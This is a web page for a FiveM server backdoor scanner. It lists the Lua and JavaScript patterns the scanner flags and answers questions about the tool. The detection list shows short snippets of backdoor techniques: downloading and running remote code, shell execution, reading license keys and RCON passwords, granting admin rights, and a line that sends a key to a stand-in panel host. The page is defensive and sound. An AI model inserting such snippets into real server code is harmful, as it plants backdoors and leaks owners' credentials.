105 online 3 members  + Join RP Base  +

FiveM backdoor scanner

Every Lua and JS file read line by line.
The zip is deleted when the scan ends.

1 resource scanned0 backdoors caught

Scan a resource

Zip the resource folder, the one with fxmanifest.lua inside, and drop it here. Or switch to Paste code to check a single Lua or JavaScript file.

Log in to scan

Free for members, 30 scans an hour.

What it checks

Danger

Downloads code and runs it

The file fetches something from the internet and passes text to load(). This is how the Cipher and Blum panel backdoors take over a server.

PerformHttpRequest(url, function(_, body)
    assert(load(body))()
end)
Runs code built at runtime

load() or loadstring() runs a string as Lua. Built from string.char, escapes or a function call, the real code is hidden from you.

local f = load(a .. b .. c)
f()
Long hex or byte encoded string

A long run of \x or \123 escapes hides readable code. Real scripts almost never need this.

local s = "\x50\x65\x72\x66\x6f\x72\x6d\x48..."
Code hidden in string.char()

Dozens of numbers turned into text at runtime. Usually a URL or code that should not be seen.

load(string.char(80, 101, 114, 102, 111, 114))()
Made with a code obfuscator

Luraph, IronBrew, MoonSec, Prometheus and similar tools scramble code so nobody can read it. Server code you cannot read can do anything.

local IlIlIIl, lIIlIlI = ...
-- Luraph / MoonSec style names, one huge line
Runs system commands

os.execute and io.popen run commands on the machine that hosts your server. child_process starts programs on the machine that hosts your server.

os.execute(cmd)
io.popen(cmd)
require('child_process').exec(cmd)
Runs a string as JavaScript

eval() and new Function() run text as code, the JavaScript version of load().

eval(Buffer.from(data, 'base64').toString())
Reads your license key or RCON password

Reading sv_licenseKey, sv_licenseKeyToken or rcon_password lets a script send your keys to someone else.

local key = GetConvar('sv_licenseKey', '')
local rcon = GetConvar('rcon_password', '')
Gives out admin permissions

add_ace or add_principal from inside a script can quietly make someone an admin on your server.

ExecuteCommand('add_principal identifier.' .. id .. ' group.admin')
Writes code into other resources

The file loops over your resources and saves files into them. Backdoors use this to copy themselves everywhere.

SaveResourceFile(res, 'server.lua', payload, -1)
Known backdoor panel address

The address belongs to a known backdoor panel used to control infected FiveM servers.

PerformHttpRequest('https://panel.example/i?k=' .. key, cb)
Compiled Lua (bytecode)

This file is compiled, not source code, so you cannot see what it does. FiveM resources ship as readable Lua or escrow.

\27LuaQ ... (binary chunk, cannot be read)
Windows or shell program inside

FiveM resources never need .exe, .dll, .bat or similar files. They can infect the machine that opens them.

server/update.exe
install.sh

Check

Sends data to a Discord webhook

Common for logs, but also how stolen keys and player data leave a server. Check what is sent.

PerformHttpRequest('https://discord.com/api/webhooks/...', cb, 'POST', json)
Contacts an outside server

The script calls an address outside GitHub and Cfx.re. Check that you know who runs it and why.

PerformHttpRequest('https://example.com/version', cb)
Changes the Lua environment

getfenv and setfenv can swap out functions other code relies on. Rare in normal scripts.

setfenv(1, env)
debug.setupvalue(f, 1, env)
Looks up functions by built name

_G with a built-up name hides which function is really called.

_G['Perf' .. 'ormHttp' .. 'Request'](url, cb)
Very long single line

A line thousands of characters long is minified or packed code that is hard to check by eye.

local a=1;local b=2;local c=3; ... (8,000 characters on one line)
Decodes base64 data

Base64 is fine for images, but decoded text that later runs is a way to hide code.

local code = base64.decode(blob)
Opens network connections from Node

http, https, net or dgram in a server script can send data anywhere.

require('net').connect(port, host)
Writes or deletes files

Node fs write and delete calls can change files outside the resource.

fs.writeFileSync(path, data)
os.remove(path)

Questions

Is the FiveM backdoor scanner free?

Yes. Scanning is free for every RP Base member, with up to 30 scans an hour. You only need a free account so the scanner cannot be used to flood the site.

Do you keep my files?

No. The zip is read in memory and deleted as soon as the scan ends. Only the result is saved: file names, line numbers and the short lines of code that matched. Results are removed after 60 days.

Can it scan escrow encrypted resources?

No one can read escrow (.fxap) files except FiveM itself, so the scanner counts them and skips them. Escrow is used by paid resources bought on Tebex, which are safe to run when they come from the creator.

Does a clean result mean the resource is safe?

It means none of the known backdoor patterns were found. A new or well hidden backdoor can still slip through, so only run resources from authors you trust and keep an eye on your server console.

Why is my own resource flagged?

Some checks also match normal code, for example a Discord webhook for logs or an update check that calls an outside address. Those are marked Check, not Danger. Read the line and decide if it belongs there.

Does it work for ESX, QBCore, Qbox and standalone scripts?

Yes. The scanner reads the Lua and JavaScript files of any resource, whatever framework it uses, plus the HTML files of its NUI.

What can the scanner not see?

It looks for patterns, so it cannot read escrow files, does not follow code that is downloaded later, and a brand new trick can look like normal code. Only Lua, JavaScript and HTML files up to 4 MB each are read; models, maps and sounds cannot run code on your server.

Is this an antivirus for my PC?

No. It checks FiveM server resources for code that attacks your server. It does not scan your computer or the FiveM game client.